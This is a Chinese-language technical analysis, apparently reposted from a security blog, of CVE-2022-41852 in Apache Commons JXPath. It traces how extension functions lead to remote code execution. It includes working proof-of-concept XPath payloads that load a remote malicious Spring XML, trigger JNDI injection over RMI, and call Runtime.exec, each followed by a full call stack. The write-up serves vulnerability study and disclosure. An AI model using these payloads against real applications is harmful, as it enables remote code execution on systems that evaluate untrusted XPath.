CVE-2022-41852 Apache Commons Jxpath 漏洞分析
2022-10-26 15:29:17 Author: xz.aliyun.com(查看原文) 阅读量:37 收藏

前言

前几天有漏洞通告说Apache官方的 Commons JXPath组件如果接收不可信的XPath表达式将会导致命令执行的危害

在官方的通报中,所有的用来解析传入的XPath字符串,都将会导致RCE的危害(除了compile / compilePath这两个方法)

简单利用

我们直接使用官方通报的JXPathContext进行利用构造

这里的利用点就是在官方文档中的Extension Functions(扩展功能),能够接收不仅仅是XPath语法的字符串,还能够与Java本身进行连接

官方给出了三个例子

1.通过调用对象的new创建一个对象
2.能够调用静态方法
3.或者是调用普通方法的方法(类似于invoke的用法??)

创建对象的利用

对于这种方式的利用,我们最熟悉且常用的就是Spring环境下的ClassPathXmlApplicationContext类来加载远程恶意XML导致RCE

写个demo

public static void main(String[] args) {
    try {
        JXPathContext context = JXPathContext.newContext(null);
        context.getValue("org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:9000/spring-Evil.xml\")");
    } catch (Exception e) {
        e.printStackTrace();
    }
}

按照平时的用法,我们并没有这个.new,这里是根据JXPath官方文档给的demo进行仿造的
我们将会进行调试分析其中的执行过程

在调用JXPathContextReferenceImpl#getValue方法过程中,将会调用compileExpression对传入的xpath进行编译
跟进该方法

前面还没有编译,取出的Expression对象为null,将会调用Parser.parseExpression方法进行编译

首先将会向XPathParser对象设置TreeCompiler这个编译器,调用其ReInit方法进行XPath字符串的初始化
之后调用parseExpression方法进行编译,最后将得到的Expression对象返回

最后回到了JXPathContextReferenceImpl#compileExpression方法中,将其添加进入了compiled属性中

最后回到getValue方法中,将会调用ExtensionFunction#computeValue方法进行处理

![E[]D)AHK0PB(FOX05MZGY1.png
在第一个if语句中主要是将args属性中的值利用convert方法转换为parameters,也就是类的参数
之后会调用RootContext#getFunction方法获取对应的Function

可以一路追踪到PackageFunctions#getFunction方法

首先获取parameters中的target目标,之后通过调用MethodLookupUtils#lookupMethod方法来加载对应的方法

首先会对传入的参数进行匹配,如果没有匹配成功及直接返回一个Null值
在这个方法的后面,尝试提取对应的方法

这里的targetClassjava.lang.String,是不存在该方法的,接着后面的逻辑同样没得找到这个方法,所以返回的method为null值

之后回到PackageFunctions#getFunction方法中继续调用lookupMethod进行获取,同样没有获取到method方法

最后来到了这里,根据最后的一个.作为分割,分别得到了className / methodName两个字符串,且在后面调用了Class.forName(className)从classpath中获取类,这样当然能够获取到ClassPathXmlApplicationContext
之后将会判断取得的methodName是否是new这个关键词

如果能够匹配,将会调用MethodLookupUtils#lookupConstructor方法来获取对应的构造方法

首先是获取了参数类型

之后通过调用getConstructor方法获取对应targetClass的构造方法
最后在getFunction方法中通过获取的构造方法封装成了ConstructorFunction类进行了返回
接下来回到了computeValue方法中的逻辑,调用了返回的ConstructorFunction#invoke方法进行触发

最后将会对这个构造方法进行实例化操作,剩下的就是远程加载xml配置文件的RCE了
调用栈

start:1007, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
execute:139, ReflectiveMethodExecutor (org.springframework.expression.spel.support)
getValueInternal:139, MethodReference (org.springframework.expression.spel.ast)
access$000:55, MethodReference (org.springframework.expression.spel.ast)
getValue:387, MethodReference$MethodValueRef (org.springframework.expression.spel.ast)
getValueInternal:92, CompoundExpression (org.springframework.expression.spel.ast)
getValue:112, SpelNodeImpl (org.springframework.expression.spel.ast)
getValue:272, SpelExpression (org.springframework.expression.spel.standard)
evaluate:167, StandardBeanExpressionResolver (org.springframework.context.expression)
evaluateBeanDefinitionString:1631, AbstractBeanFactory (org.springframework.beans.factory.support)
doEvaluate:280, BeanDefinitionValueResolver (org.springframework.beans.factory.support)
evaluate:237, BeanDefinitionValueResolver (org.springframework.beans.factory.support)
resolveValueIfNecessary:205, BeanDefinitionValueResolver (org.springframework.beans.factory.support)
applyPropertyValues:1707, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
populateBean:1452, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
doCreateBean:619, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
createBean:542, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
lambda$doGetBean$0:335, AbstractBeanFactory (org.springframework.beans.factory.support)
getObject:-1, 1496220730 (org.springframework.beans.factory.support.AbstractBeanFactory$$Lambda$27)
getSingleton:234, DefaultSingletonBeanRegistry (org.springframework.beans.factory.support)
doGetBean:333, AbstractBeanFactory (org.springframework.beans.factory.support)
getBean:208, AbstractBeanFactory (org.springframework.beans.factory.support)
preInstantiateSingletons:953, DefaultListableBeanFactory (org.springframework.beans.factory.support)
finishBeanFactoryInitialization:918, AbstractApplicationContext (org.springframework.context.support)
refresh:583, AbstractApplicationContext (org.springframework.context.support)
<init>:144, ClassPathXmlApplicationContext (org.springframework.context.support)
<init>:85, ClassPathXmlApplicationContext (org.springframework.context.support)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
invoke:71, ConstructorFunction (org.apache.commons.jxpath.functions)
computeValue:102, ExtensionFunction (org.apache.commons.jxpath.ri.compiler)
getValue:353, JXPathContextReferenceImpl (org.apache.commons.jxpath.ri)
getValue:313, JXPathContextReferenceImpl (org.apache.commons.jxpath.ri)
main:9, Test (pers.apache)

静态方法调用的利用

对于这种demo的利用,我们可以关注到javax.naming.InitialContext#doLookup方法

该方法是一个静态方法,符合第二个demo的要求,且这里可以造成JNDI注入

try {
        JXPathContext context = JXPathContext.newContext(null);
        context.getValue("javax.naming.InitialContext.doLookup('rmi://127.0.0.1:1099/1u560y')");
    } catch (Exception e) {
        e.printStackTrace();
    }

对于这种方法,大体上和上面的流程是一致的,但是在PackageFunctions#getFunction方法中,之前在判断methodName是否为new,这里进入的是其中的else语句

调用的是MethodLookupUtils#lookupStaticMethod方法获取静态方法

该方法中会获取类中的方法,并判断该方法是否是静态方法,如果满足就会返回这个方法
最后将该方法封装了一个MethodFunction对象并返回

和上面的类似,同样会调用invoke方法进行调用
MethodFunction#invoke方法中

反射调用了该方法
之后就是JNDI的利用过程了
调用栈

start:1007, ProcessBuilder (java.lang)
exec:620, Runtime (java.lang)
exec:450, Runtime (java.lang)
exec:347, Runtime (java.lang)
invokeVirtual_LL_L:-1, 1356728614 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 843710487 (java.lang.invoke.LambdaForm$BMH)
exactInvoker:-1, 883455411 (java.lang.invoke.LambdaForm$MH)
linkToCallSite:-1, 1195942137 (java.lang.invoke.LambdaForm$MH)
:program:1, Script$\^eval\_ (jdk.nashorn.internal.scripts)
invokeStatic_LL_L:-1, 1586845078 (java.lang.invoke.LambdaForm$DMH)
invokeExact_MT:-1, 1365767549 (java.lang.invoke.LambdaForm$MH)
invoke:637, ScriptFunctionData (jdk.nashorn.internal.runtime)
invoke:494, ScriptFunction (jdk.nashorn.internal.runtime)
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
evalImpl:449, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:406, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:402, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:155, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:264, AbstractScriptEngine (javax.script)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:155, BeanELResolver (javax.el)
invoke:79, CompositeELResolver (javax.el)
getValue:158, AstValue (org.apache.el.parser)
getValue:189, ValueExpressionImpl (org.apache.el)
getValue:61, ELProcessor (javax.el)
eval:54, ELProcessor (javax.el)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getObjectInstance:210, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
doLookup:290, InitialContext (javax.naming)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:93, MethodFunction (org.apache.commons.jxpath.functions)
computeValue:102, ExtensionFunction (org.apache.commons.jxpath.ri.compiler)
getValue:353, JXPathContextReferenceImpl (org.apache.commons.jxpath.ri)
getValue:313, JXPathContextReferenceImpl (org.apache.commons.jxpath.ri)
main:10, Test (pers.apache)

调用普通方法的利用

在官方给的第三个demo中能够成功调用普通的方法
这个就很直接了,那不是直接可以RCE了?

public static void main(String[] args) {
    try {
        JXPathContext context = JXPathContext.newContext(null);
        context.getValue("exec(java.lang.Runtime.getRuntime(), 'calc')");
    } catch (Exception e) {
        e.printStackTrace();
    }
}

这个流程非常直接,就是在PackageFunctions#getFunction方法中

将第一个传参进行了转换,得到的target是Runtime类
之后在获取这个方法的时候

同样将得到的method封装成了MethodFunction对象,之后在MethodFunction#invoke方法中进行调用

调用栈

start:1007, ProcessBuilder (java.lang)
exec:620, Runtime (java.lang)
exec:450, Runtime (java.lang)
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:93, MethodFunction (org.apache.commons.jxpath.functions)
computeValue:102, ExtensionFunction (org.apache.commons.jxpath.ri.compiler)
getValue:353, JXPathContextReferenceImpl (org.apache.commons.jxpath.ri)
getValue:313, JXPathContextReferenceImpl (org.apache.commons.jxpath.ri)
main:11, Test (pers.apache)

Ref

https://github.com/advisories/GHSA-wrx5-rp7m-mm49


文章来源: https://xz.aliyun.com/t/11769
如有侵权请联系:admin#unsafe.sh